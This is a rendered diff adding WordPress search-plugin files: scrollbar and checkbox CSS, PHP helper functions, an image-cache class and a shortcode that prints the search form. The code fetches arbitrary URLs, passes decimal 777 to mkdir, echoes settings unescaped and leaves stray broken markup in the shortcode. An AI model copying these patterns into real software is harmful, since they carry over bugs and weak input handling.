filter:"alpha(opacity=90)"; -ms-filter:"alpha(opacity=90)"; /* old ie */
|
897 |
+
}
|
898 |
+
#ajaxsearchliteres .mCSB_scrollTools .mCSB_dragger:hover .mCSB_dragger_bar{
|
899 |
+
background:rgba(255, 255, 255,0.95);
|
900 |
+
filter:"alpha(opacity=95)"; -ms-filter:"alpha(opacity=95)"; /* old ie */
|
901 |
+
}
|
902 |
+
#ajaxsearchliteres .mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar,
|
903 |
+
#ajaxsearchliteres .mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDrag .mCSB_dragger_bar{
|
904 |
+
background:rgba(255, 255, 255,1);
|
905 |
+
filter:"alpha(opacity=100)"; -ms-filter:"alpha(opacity=100)"; /* old ie */
|
906 |
+
}
|
907 |
+
#ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonUp,
|
908 |
+
#ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonDown,
|
909 |
+
#ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonLeft,
|
910 |
+
#ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonRight{
|
911 |
+
padding: 10px 0 0 0;
|
912 |
+
background:0;
|
913 |
+
opacity:0.4;
|
914 |
+
filter:"alpha(opacity=40)"; -ms-filter:"alpha(opacity=40)"; /* old ie */
|
915 |
+
}
|
916 |
+
|
917 |
+
#ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonDown { height:0;position: relative; }
|
918 |
+
#ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonDown:after { top: 100%; border: solid transparent; content: " "; height: 0; width: 0; position: absolute;}
|
919 |
+
#ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonDown:after { border-color: rgba(136, 183, 213, 0); border-top-color: #0a3f4d; border-width: 8px; left: 50%; margin-left: -8px; }
|
920 |
+
#ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonUp { position: relative; margin:10px 0 0 0; height: 0; }
|
921 |
+
#ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonUp:after { bottom: 100%; border: solid transparent; content: " "; height: 0; width: 0; position: absolute; }
|
922 |
+
#ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonUp:after { border-color: rgba(136, 183, 213, 0); border-bottom-color: #0a3f4d; border-width: 8px; left: 50%; margin-left: -8px; }
|
923 |
+
|
924 |
+
#ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonUp{
|
925 |
+
background-position:0 0;
|
926 |
+
/*
|
927 |
+
sprites locations are 0 0/-16px 0/-32px 0/-48px 0 (light) and -80px 0/-96px 0/-112px 0/-128px 0 (dark)
|
928 |
+
*/
|
929 |
+
}
|
930 |
+
#ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonDown{
|
931 |
+
background-position:0 -20px;
|
932 |
+
/*
|
933 |
+
sprites locations are 0 -20px/-16px -20px/-32px -20px/-48px -20px (light) and -80px -20px/-96px -20px/-112px -20px/-128px -20px (dark)
|
934 |
+
*/
|
935 |
+
}
|
936 |
+
#ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonLeft{
|
937 |
+
background-position:0 -40px;
|
938 |
+
/*
|
939 |
+
sprites locations are 0 -40px/-20px -40px/-40px -40px/-60px -40px (light) and -80px -40px/-100px -40px/-120px -40px/-140px -40px (dark)
|
940 |
+
*/
|
941 |
+
}
|
942 |
+
#ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonRight{
|
943 |
+
background-position:0 -56px;
|
944 |
+
/*
|
945 |
+
sprites locations are 0 -56px/-20px -56px/-40px -56px/-60px -56px (light) and -80px -56px/-100px -56px/-120px -56px/-140px -56px (dark)
|
946 |
+
*/
|
947 |
+
}
|
948 |
+
#ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonUp:hover,
|
949 |
+
#ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonDown:hover,
|
950 |
+
#ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonLeft:hover,
|
951 |
+
#ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonRight:hover{
|
952 |
+
opacity:0.75;
|
953 |
+
filter:"alpha(opacity=75)"; -ms-filter:"alpha(opacity=75)"; /* old ie */
|
954 |
+
}
|
955 |
+
#ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonUp:active,
|
956 |
+
#ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonDown:active,
|
957 |
+
#ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonLeft:active,
|
958 |
+
#ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonRight:active{
|
959 |
+
opacity:0.9;
|
960 |
+
filter:"alpha(opacity=90)"; -ms-filter:"alpha(opacity=90)"; /* old ie */
|
961 |
+
}
|
962 |
+
|
963 |
+
#ajaxsearchliteres span.highlighted{
|
964 |
+
font-weight: bold;
|
965 |
+
color: #d9312b;
|
966 |
+
background-color: #eee;
|
967 |
+
color: #d9312b;
|
968 |
+
background-color: #eee;
|
969 |
+
}
|
970 |
+
|
971 |
+
#ajaxsearchlitesettings.searchsettings {
|
972 |
+
width: 200px;
|
973 |
+
height: auto;
|
974 |
+
background: #ddd;
|
975 |
+
position: absolute;
|
976 |
+
display: none;
|
977 |
+
z-index: 1101;
|
978 |
+
border-radius: 0 0 3px 3px;
|
979 |
+
box-shadow: 2px 2px 3px -1px #AAAAAA;
|
980 |
+
visibility: hidden;
|
981 |
+
padding: 0 0 8px 0;
|
982 |
+
}
|
983 |
+
|
984 |
+
#ajaxsearchlitesettings.searchsettings .option {
|
985 |
+
margin: 10px;
|
986 |
+
*padding-bottom: 10px;
|
987 |
+
}
|
988 |
+
|
989 |
+
#ajaxsearchlitesettings.searchsettings.ie78 .option {
|
990 |
+
margin-bottom: 0 !important;
|
991 |
+
padding-bottom: 0 !important;
|
992 |
+
}
|
993 |
+
|
994 |
+
#ajaxsearchlitesettings.searchsettings .label {
|
995 |
+
float: left;
|
996 |
+
font-size: 14px;
|
997 |
+
line-height: 24px;
|
998 |
+
margin: 6px 10px 0 0;
|
999 |
+
width: 143px;
|
1000 |
+
color: #333;
|
1001 |
+
}
|
1002 |
+
|
1003 |
+
/* SQUARED THREE */
|
1004 |
+
#ajaxsearchlitesettings.searchsettings .option input[type=checkbox] {
|
1005 |
+
display:none;
|
1006 |
+
}
|
1007 |
+
|
1008 |
+
#ajaxsearchlitesettings.searchsettings.ie78 .option input[type=checkbox] {
|
1009 |
+
display:block;
|
1010 |
+
}
|
1011 |
+
|
1012 |
+
#ajaxsearchlitesettings.searchsettings.ie78 .label {
|
1013 |
+
float:right !important;
|
1014 |
+
}
|
1015 |
+
|
1016 |
+
#ajaxsearchlitesettings.searchsettings .option {
|
1017 |
+
width: 20px;
|
1018 |
+
position: relative;
|
1019 |
+
float: left;
|
1020 |
+
}
|
1021 |
+
|
1022 |
+
#ajaxsearchlitesettings.searchsettings .option label {
|
1023 |
+
cursor: pointer;
|
1024 |
+
position: absolute;
|
1025 |
+
width: 20px;
|
1026 |
+
height: 20px;
|
1027 |
+
top: 0;
|
1028 |
+
border-radius: 4px;
|
1029 |
+
-webkit-box-shadow: inset 0px 1px 1px rgba(0,0,0,0.5), 0px 1px 0px rgba(255,255,255,.4);
|
1030 |
+
-moz-box-shadow: inset 0px 1px 1px rgba(0,0,0,0.5), 0px 1px 0px rgba(255,255,255,.4);
|
1031 |
+
box-shadow: inset 0px 1px 1px rgba(0,0,0,0.5), 0px 1px 0px rgba(255,255,255,.4);
|
1032 |
+
background: #45484d;
|
1033 |
+
background: -webkit-linear-gradient(top, #222222 0%, #45484d 100%);
|
1034 |
+
background: -moz-linear-gradient(top, #222222 0%, #45484d 100%);
|
1035 |
+
background: -o-linear-gradient(top, #222222 0%, #45484d 100%);
|
1036 |
+
background: -ms-linear-gradient(top, #222222 0%, #45484d 100%);
|
1037 |
+
background: linear-gradient(top, #222222 0%, #45484d 100%);
|
1038 |
+
filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#222222', endColorstr='#45484d',GradientType=0 );
|
1039 |
+
}
|
1040 |
+
|
1041 |
+
#ajaxsearchlitesettings.searchsettings.ie78 .option label {
|
1042 |
+
display:none;
|
1043 |
+
}
|
1044 |
+
|
1045 |
+
#ajaxsearchlitesettings.searchsettings .option label:after {
|
1046 |
+
-ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";
|
1047 |
+
filter: alpha(opacity=0);
|
1048 |
+
opacity: 0;
|
1049 |
+
content: '';
|
1050 |
+
position: absolute;
|
1051 |
+
width: 9px;
|
1052 |
+
height: 5px;
|
1053 |
+
background: transparent;
|
1054 |
+
top: 4px;
|
1055 |
+
left: 4px;
|
1056 |
+
border: 3px solid #fcfff4;
|
1057 |
+
border-top: none;
|
1058 |
+
border-right: none;
|
1059 |
+
|
1060 |
+
-webkit-transform: rotate(-45deg);
|
1061 |
+
-moz-transform: rotate(-45deg);
|
1062 |
+
-o-transform: rotate(-45deg);
|
1063 |
+
-ms-transform: rotate(-45deg);
|
1064 |
+
transform: rotate(-45deg);
|
1065 |
+
}
|
1066 |
+
|
1067 |
+
#ajaxsearchlitesettings.searchsettings.ie78 .option label:after {
|
1068 |
+
display:none;
|
1069 |
+
}
|
1070 |
+
|
1071 |
+
#ajaxsearchlitesettings.searchsettings .option label:hover::after {
|
1072 |
+
-ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=30)";
|
1073 |
+
filter: alpha(opacity=30);
|
1074 |
+
opacity: 0.3;
|
1075 |
+
}
|
1076 |
+
|
1077 |
+
#ajaxsearchlitesettings.searchsettings .option input[type=checkbox]:checked + label:after {
|
1078 |
+
-ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=100)";
|
1079 |
+
filter: alpha(opacity=100);
|
1080 |
+
opacity: 1;
|
1081 |
+
}
|
1082 |
+
|
1083 |
+
|
1084 |
+
#ajaxsearchliteres .thumb .end,
|
1085 |
+
#ajaxsearchliteres .thumb { background-color: #003D5D; border-radius: 5px; }
|
1086 |
+
#ajaxsearchliteres .scrollbar { position: relative; float: right; width: 15px; border-radius: 5px; background: #eee;}
|
1087 |
+
#ajaxsearchliteres .track { background-color: #D8EEFD; height: 100%; width:13px; position: relative; padding: 0 1px; border-radius: 5px; }
|
1088 |
+
#ajaxsearchliteres .thumb { height: 20px; width: 13px; cursor: pointer; overflow: hidden; position: absolute; top: 0; }
|
1089 |
+
#ajaxsearchliteres .thumb .end { overflow: hidden; height: 5px; width: 13px; }
|
1090 |
+
#ajaxsearchliteres .disable{ display: none; }
|
1091 |
+
#ajaxsearchliteres .viewport { position: relative; }
|
1092 |
+
#ajaxsearchliteres .overview { left: 0; top: 0; }
|
1093 |
+
|
functions.php
ADDED
@@ -0,0 +1,70 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
|
3 |
+
if (!function_exists("in_array_r")) {
|
4 |
+
function in_array_r($needle, $haystack, $strict = true) {
|
5 |
+
foreach ($haystack as $item) {
|
6 |
+
if (($strict ? $item === $needle : $item == $needle) || (is_array($item) && in_array_r($needle, $item, $strict))) {
|
7 |
+
return true;
|
8 |
+
}
|
9 |
+
}
|
10 |
+
|
11 |
+
return false;
|
12 |
+
}
|
13 |
+
}
|
14 |
+
|
15 |
+
if (!function_exists("wpdreams_ismobile")) {
|
16 |
+
function wpdreams_ismobile() {
|
17 |
+
$is_mobile = '0';
|
18 |
+
if(preg_match('/(android|iphone|ipad|up.browser|up.link|mmp|symbian|smartphone|midp|wap|phone)/i', strtolower($_SERVER['HTTP_USER_AGENT'])))
|
19 |
+
$is_mobile=1;
|
20 |
+
if((strpos(strtolower($_SERVER['HTTP_ACCEPT']),'application/vnd.wap.xhtml+xml')>0) or ((isset($_SERVER['HTTP_X_WAP_PROFILE']) or isset($_SERVER['HTTP_PROFILE']))))
|
21 |
+
$is_mobile=1;
|
22 |
+
$mobile_ua = strtolower(substr($_SERVER['HTTP_USER_AGENT'],0,4));
|
23 |
+
$mobile_agents = array('w3c ','acs-','alav','alca','amoi','andr','audi','avan','benq','bird','blac','blaz','brew','cell','cldc','cmd-','dang','doco','eric','hipt','inno','ipaq','java','jigs','kddi','keji','leno','lg-c','lg-d','lg-g','lge-','maui','maxo','midp','mits','mmef','mobi','mot-','moto','mwbp','nec-','newt','noki','oper','palm','pana','pant','phil','play','port','prox','qwap','sage','sams','sany','sch-','sec-','send','seri','sgh-','shar','sie-','siem','smal','smar','sony','sph-','symb','t-mo','teli','tim-','tosh','tsm-','upg1','upsi','vk-v','voda','wap-','wapa','wapi','wapp','wapr','webc','winw','winw','xda','xda-');
|
24 |
+
|
25 |
+
if(in_array($mobile_ua,$mobile_agents))
|
26 |
+
$is_mobile=1;
|
27 |
+
|
28 |
+
if (isset($_SERVER['ALL_HTTP'])) {
|
29 |
+
if (strpos(strtolower($_SERVER['ALL_HTTP']),'OperaMini')>0)
|
30 |
+
$is_mobile=1;
|
31 |
+
}
|
32 |
+
if (strpos(strtolower($_SERVER['HTTP_USER_AGENT']),'windows')>0)
|
33 |
+
$is_mobile=0;
|
34 |
+
return $is_mobile;
|
35 |
+
}
|
36 |
+
}
|
37 |
+
if (!function_exists("current_page_url")) {
|
38 |
+
function current_page_url() {
|
39 |
+
$pageURL = 'http';
|
40 |
+
if( isset($_SERVER["HTTPS"]) ) {
|
41 |
+
if ($_SERVER["HTTPS"] == "on") {$pageURL .= "s";}
|
42 |
+
}
|
43 |
+
$pageURL .= "://";
|
44 |
+
if ($_SERVER["SERVER_PORT"] != "80") {
|
45 |
+
$pageURL .= $_SERVER["SERVER_NAME"].":".$_SERVER["SERVER_PORT"].$_SERVER["REQUEST_URI"];
|
46 |
+
} else {
|
47 |
+
$pageURL .= $_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
|
48 |
+
}
|
49 |
+
return $pageURL;
|
50 |
+
}
|
51 |
+
}
|
52 |
+
if (!function_exists("hex2rgb")) {
|
53 |
+
function hex2rgb($color)
|
54 |
+
{
|
55 |
+
if (strlen($color)<3) return "0, 0, 0";
|
56 |
+
if ($color[0] == '#')
|
57 |
+
$color = substr($color, 1);
|
58 |
+
if (strlen($color) == 6)
|
59 |
+
list($r, $g, $b) = array($color[0].$color[1],
|
60 |
+
$color[2].$color[3],
|
61 |
+
$color[4].$color[5]);
|
62 |
+
elseif (strlen($color) == 3)
|
63 |
+
list($r, $g, $b) = array($color[0].$color[0], $color[1].$color[1], $color[2].$color[2]);
|
64 |
+
else
|
65 |
+
return false;
|
66 |
+
$r = hexdec($r); $g = hexdec($g); $b = hexdec($b);
|
67 |
+
return $r.", ".$g.", ".$b;
|
68 |
+
}
|
69 |
+
}
|
70 |
+
?>
|
icon.png
ADDED
Binary file
|
img/loading-big.gif
ADDED
Binary file
|
img/loading.gif
ADDED
Binary file
|
img/loading/loading3.gif
ADDED
Binary file
|
img/magnifier.png
ADDED
Binary file
|
img/magnifiers/magn3.png
ADDED
Binary file
|
img/settings/settings1.png
ADDED
Binary file
|
includes/imagecache.class.php
ADDED
@@ -0,0 +1,138 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/*
|
3 |
+
* Creates a cache of the image file in the given dimensions
|
4 |
+
* as a jpeg file into the specified folder.
|
5 |
+
* <code>
|
6 |
+
* //Parse the first image from text
|
7 |
+
* new wpdreamsImageCache($im, $saveas, $w, $h, 1)
|
8 |
+
* //Parse the image from url
|
9 |
+
* new wpdreamsImageCache($im, $saveas, $w, $h)
|
10 |
+
* </code>
|
11 |
+
*
|
12 |
+
* @author Ernest Marcinko <ernest.marcinko@wp-dreams.com>
|
13 |
+
* @version 1.0
|
14 |
+
* @link http://wp-dreams.com, http://codecanyon.net/user/anago/portfolio
|
15 |
+
* @copyright Copyright (c) 2012, Ernest Marcinko
|
16 |
+
*/
|
17 |
+
if (!class_exists('wpdreamsImageCache')) {
|
18 |
+
class wpdreamsImageCache {
|
19 |
+
/*
|
20 |
+
* Constructor
|
21 |
+
*
|
22 |
+
* @param string $im text containing the image or image url
|
23 |
+
* @param string $saveas path to the cache folder WITH DS on the end!
|
24 |
+
* @param int $w width of the result image
|
25 |
+
* @param int $h height of the result image
|
26 |
+
* @param int $imagenum (optional) the number of the image found in the text to be cached, if left blank, then the $im is treated as an url and NOT as TEXT!
|
27 |
+
*/
|
28 |
+
function __construct($im, $saveas, $w, $h, $imagenum=-1) {
|
29 |
+
if ($imagenum>=0) {
|
30 |
+
$this->content = $im;
|
31 |
+
$this->imagenum = $imagenum-1;
|
32 |
+
$this->parse_content();
|
33 |
+
} else {
|
34 |
+
$this->im = $im;
|
35 |
+
}
|
36 |
+
$this->resultImageName = $this->img_resizer($this->im, 100, $w, $h, $saveas);
|
37 |
+
}
|
38 |
+
|
39 |
+
function parse_content() {
|
40 |
+
$this->im = "";
|
41 |
+
if ($this->content=="") return;
|
42 |
+
$dom = new domDocument;
|
43 |
+
@$dom->loadHTML($this->content);
|
44 |
+
$dom->preserveWhiteSpace = false;
|
45 |
+
@$images = $dom->getElementsByTagName('img');
|
46 |
+
if ($images->length>0) {
|
47 |
+
if ($images->length>$this->imagenum) {
|
48 |
+
$this->im = $images->item($this->imagenum)->getAttribute('src');
|
49 |
+
} else {
|
50 |
+
$this->im = $images->item(0)->getAttribute('src');
|
51 |
+
}
|
52 |
+
}
|
53 |
+
/*foreach ($images as $image) {
|
54 |
+
echo $image->getAttribute('src');
|
55 |
+
}
|
56 |
+
for ($i = 0; $i < $items->length; $i++) {
|
57 |
+
echo $items->item($i)->nodeValue . "\n";
|
58 |
+
}
|
59 |
+
$output = preg_match_all('/<img.+src=[\'"]([^\'"]+)[\'"].*>/i', $this->content, $matches);
|
60 |
+
if (isset($matches) && isset($matches[1]) && isset($matches[1][$this->imagenum])) {
|
61 |
+
$this->im = $matches [1] [$this->imagenum];
|
62 |
+
} else if (isset($matches) && isset($matches[1]) && isset($matches[1][0])) {
|
63 |
+
$this->im = $matches [1] [0];
|
64 |
+
} else {
|
65 |
+
$this->im = "";
|
66 |
+
} */
|
67 |
+
}
|
68 |
+
|
69 |
+
function get_image() {
|
70 |
+
return $this->resultImageName;
|
71 |
+
}
|
72 |
+
|
73 |
+
function _ckdir($fn) {
|
74 |
+
if (strpos($fn,"/") !== false) {
|
75 |
+
$p=substr($fn,0,strrpos($fn,"/"));
|
76 |
+
if (!is_dir($p)) {
|
77 |
+
_o("Mkdir: ".$p);
|
78 |
+
mkdir($p,777,true);
|
79 |
+
}
|
80 |
+
}
|
81 |
+
}
|
82 |
+
|
83 |
+
function img_resizer($src,$quality,$w,$h,$saveas) {
|
84 |
+
if (!extension_loaded('gd') || !function_exists('gd_info')) {
|
85 |
+
return "";
|
86 |
+
}
|
87 |
+
if( ini_get('allow_url_fopen')!=true ) {
|
88 |
+
return "";
|
89 |
+
}
|
90 |
+
if ($src=="") return "";
|
91 |
+
$filename = md5($src.$w.$h).".jpg";
|
92 |
+
$saveas .= $filename;
|
93 |
+
if (file_exists($saveas)) return $filename;
|
94 |
+
$r = 1;
|
95 |
+
/*$e=strtolower(substr($src,strrpos($src,".")+1,3));
|
96 |
+
if (($e == "jpg") || ($e == "peg")) {
|
97 |
+
$OldImage=ImageCreateFromJpeg($src) or $r=0;
|
98 |
+
} elseif ($e == "gif") {
|
99 |
+
$OldImage=ImageCreateFromGif($src) or $r=0;
|
100 |
+
} elseif ($e == "bmp") {
|
101 |
+
$OldImage=ImageCreateFromwbmp($src) or $r=0;
|
102 |
+
} elseif ($e == "png") {
|
103 |
+
$OldImage=ImageCreateFromPng($src) or $r=0;
|
104 |
+
} else {
|
105 |
+
return "";
|
106 |
+
}*/
|
107 |
+
$OldImage = imagecreatefromstring(file_get_contents($src));
|
108 |
+
if ($r) {
|
109 |
+
list($width,$height)=getimagesize($src);
|
110 |
+
if ($width<=0 || $height<=0) return "";
|
111 |
+
$_ratio=array($width/$height,$w/$h);
|
112 |
+
if ($_ratio[0] != $_ratio[1]) {
|
113 |
+
$_scale=min((float)($width/$w),(float)($height/$h));
|
114 |
+
$cropX=(float)($width-($_scale*$w));
|
115 |
+
$cropY=(float)($height-($_scale*$h));
|
116 |
+
$cropW=(float)($width-$cropX);
|
117 |
+
$cropH=(float)($height-$cropY);
|
118 |
+
$crop=ImageCreateTrueColor($cropW,$cropH);
|
119 |
+
ImageCopy($crop,$OldImage,0,0,(int)($cropX/2),(int)($cropY/2),$cropW,$cropH);
|
120 |
+
}
|
121 |
+
|
122 |
+
$NewThumb=ImageCreateTrueColor($w,$h);
|
123 |
+
if (isset($crop)) {
|
124 |
+
ImageCopyResampled($NewThumb,$crop,0,0,0,0,$w,$h,$cropW,$cropH);
|
125 |
+
ImageDestroy($crop);
|
126 |
+
} else {
|
127 |
+
ImageCopyResampled($NewThumb,$OldImage,0,0,0,0,$w,$h,$width,$height);
|
128 |
+
}
|
129 |
+
$this->_ckdir($saveas);
|
130 |
+
ImageJpeg($NewThumb,$saveas,$quality);
|
131 |
+
ImageDestroy($NewThumb);
|
132 |
+
ImageDestroy($OldImage);
|
133 |
+
}
|
134 |
+
return $filename;
|
135 |
+
}
|
136 |
+
}
|
137 |
+
}
|
138 |
+
?>
|
includes/shortcodes.php
ADDED
@@ -0,0 +1,126 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
add_shortcode( 'wpdreams_ajaxsearchlite', 'add_ajaxsearchlite');
|
3 |
+
|
4 |
+
function searchlite_stylesheets() {
|
5 |
+
wp_enqueue_style('wpdreams-ajaxsearchlite', plugin_dir_url(__FILE__).'../css/style.css', false);
|
6 |
+
}
|
7 |
+
add_action('wp_print_styles', 'searchlite_stylesheets');
|
8 |
+
|
9 |
+
function add_ajaxsearchlite( $atts ) {
|
10 |
+
ob_start();
|
11 |
+
$style = null;
|
12 |
+
global $wpdb;
|
13 |
+
global $wpdreams_polaroids;
|
14 |
+
$id = 1;
|
15 |
+
$search = $wpdb->get_results("SELECT * FROM ".$wpdb->prefix."ajaxsearchlite", ARRAY_A);
|
16 |
+
|
17 |
+
$search[0]['data'] = json_decode($search[0]['data'], true);
|
18 |
+
|
19 |
+
$style = $search[0]['data'];
|
20 |
+
$file = AJAXSEARCHLITE_PATH."/css/style.css";
|
21 |
+
|
22 |
+
$settingsHidden = ((
|
23 |
+
$style['showexactmatches']!=1 &&
|
24 |
+
$style['showsearchintitle']!=1 &&
|
25 |
+
$style['showsearchincontent']!=1 &&
|
26 |
+
$style['showsearchinexcerpt']!=1 &&
|
27 |
+
$style['showsearchinposts']!=1 &&
|
28 |
+
$style['showsearchinpages']!=1 &&
|
29 |
+
$style['showsearchinproducts']!=1 &&
|
30 |
+
$style['showsearchinbpusers']!=1 &&
|
31 |
+
$style['showsearchinbpgroups']!=1 &&
|
32 |
+
$style['showsearchinbpforums']!=1 &&
|
33 |
+
count($style['selected-showcustomtypes'])<=0
|
34 |
+
)?true:false);
|
35 |
+
?>
|
36 |
+
<div id='ajaxsearchlite'>
|
37 |
+
<div class="probox">
|
38 |
+
<div class='proinput'>
|
39 |
+
<input type='text' name='phrase' value='' />
|
40 |
+
<span class='loading'></span>
|
41 |
+
</div>
|
42 |
+
<div class='promagnifier'>
|
43 |
+
</div>
|
44 |
+
<div class='prosettings' <?php echo ($settingsHidden?"style='display:none;'":""); ?>opened=0>
|
45 |
+
</div>
|
46 |
+
<div class='proloading'>
|
47 |
+
</div>
|
48 |
+
</div>
|
49 |
+
<div id='ajaxsearchlitesettings' class="searchsettings">
|
50 |
+
<form name='options'>
|
51 |
+
<div class="option<?php echo (($style['showexactmatches']!=1)?" hiddend":""); ?>">
|
52 |
+
<input type="checkbox" value="checked" id="set_exactonly<?php echo $id; ?>" name="set_exactonly" <?php echo (($style['exactonly']==1)?'checked="checked"':''); ?>/>
|
53 |
+
<label for="set_exactonly<?php echo $id; ?>"></label>
|
54 |
+
</div>
|
55 |
+
<div class="label<?php echo (($style['showexactmatches']!=1)?" hiddend":""); ?>">
|
56 |
+
<?php echo $style['exactmatchestext']; ?>
|
57 |
+
</div>
|
58 |
+
<div class="option hiddend"); ?>">
|
59 |
+
<input type="checkbox" value="None" id="set_intitle<?php echo $id; ?>" name="set_intitle" <?php echo (($style['searchintitle']==1)?'checked="checked"':''); ?>/>
|
60 |
+
<label for="set_intitle<?php echo $id; ?>"></label>
|
61 |
+
</div>
|
62 |
+
<div class="label hiddend"); ?>">
|
63 |
+
|
64 |
+
</div>
|
65 |
+
<div class="option hiddend"); ?>">
|
66 |
+
<input type="checkbox" value="None" id="set_incontent<?php echo $id; ?>" name="set_incontent" <?php echo (($style['searchincontent']==1)?'checked="checked"':''); ?>/>
|
67 |
+
<label for="set_incontent<?php echo $id; ?>"></label>
|
68 |
+
</div>
|
69 |
+
<div class="label hiddend"); ?>">
|
70 |
+
|
71 |
+
</div>
|
72 |
+
<div class="option<?php echo (($style['showsearchinposts']!=1)?" hiddend":""); ?>">
|
73 |
+
<input type="checkbox" value="None" id="set_inposts<?php echo $id; ?>" name="set_inposts" <?php echo (($style['searchinposts']==1)?'checked="checked"':''); ?>/>
|
74 |
+
<label for="set_inposts<?php echo $id; ?>"></label>
|
75 |
+
</div>
|
76 |
+
<div class="label<?php echo (($style['showsearchinposts']!=1)?" hiddend":""); ?>">
|
77 |
+
<?php echo $style['searchinpoststext']; ?>
|
78 |
+
</div>
|
79 |
+
<div class="option<?php echo (($style['showsearchinpages']!=1)?" hiddend":""); ?>">
|
80 |
+
<input type="checkbox" value="None" id="set_inpages<?php echo $id; ?>" name="set_inpages" <?php echo (($style['searchinpages']==1)?'checked="checked"':''); ?>/>
|
81 |
+
<label for="set_inpages<?php echo $id; ?>"></label>
|
82 |
+
</div>
|
83 |
+
<div class="label<?php echo (($style['showsearchinpages']!=1)?" hiddend":""); ?>">
|
84 |
+
<?php echo $style['searchinpagestext']; ?>
|
85 |
+
</div>
|
86 |
+
</form>
|
87 |
+
</div>
|
88 |
+
</div>
|
89 |
+
<div id='ajaxsearchliteres'>
|
90 |
+
<div class="scrollbar"><div class="track"><div class="thumb"><div class="end"></div></div></div></div>
|
91 |
+
<div class="results viewport">
|
92 |
+
<div class="resdrg overview">
|
93 |
+
</div>
|
94 |
+
</div>
|
95 |
+
</div>
|
96 |
+
<?php
|
97 |
+
/*if (isset($_POST['action']) && $_POST['action']=="ajaxsearchpro_preview") {
|
98 |
+
;
|
99 |
+
} else if(1) { */
|
100 |
+
?>
|
101 |
+
<script>
|
102 |
+
jQuery(document).ready(function() {
|
103 |
+
jQuery("#ajaxsearchlite").ajaxsearchpro({
|
104 |
+
itemscount: <?php echo ((isset($style['itemscount']) && $style['itemscount']!="")?$style['itemscount']:"2"); ?>,
|
105 |
+
imagewidth: <?php echo ((isset($style['settings-imagesettings']['width']))?$style['settings-imagesettings']['width']:"70"); ?>,
|
106 |
+
imageheight: <?php echo ((isset($style['settings-imagesettings']['height']))?$style['settings-imagesettings']['height']:"70"); ?>,
|
107 |
+
resultitemheight: <?php echo ((isset($style['resultitemheight']) && $style['resultitemheight']!="")?$style['resultitemheight']:"70"); ?>,
|
108 |
+
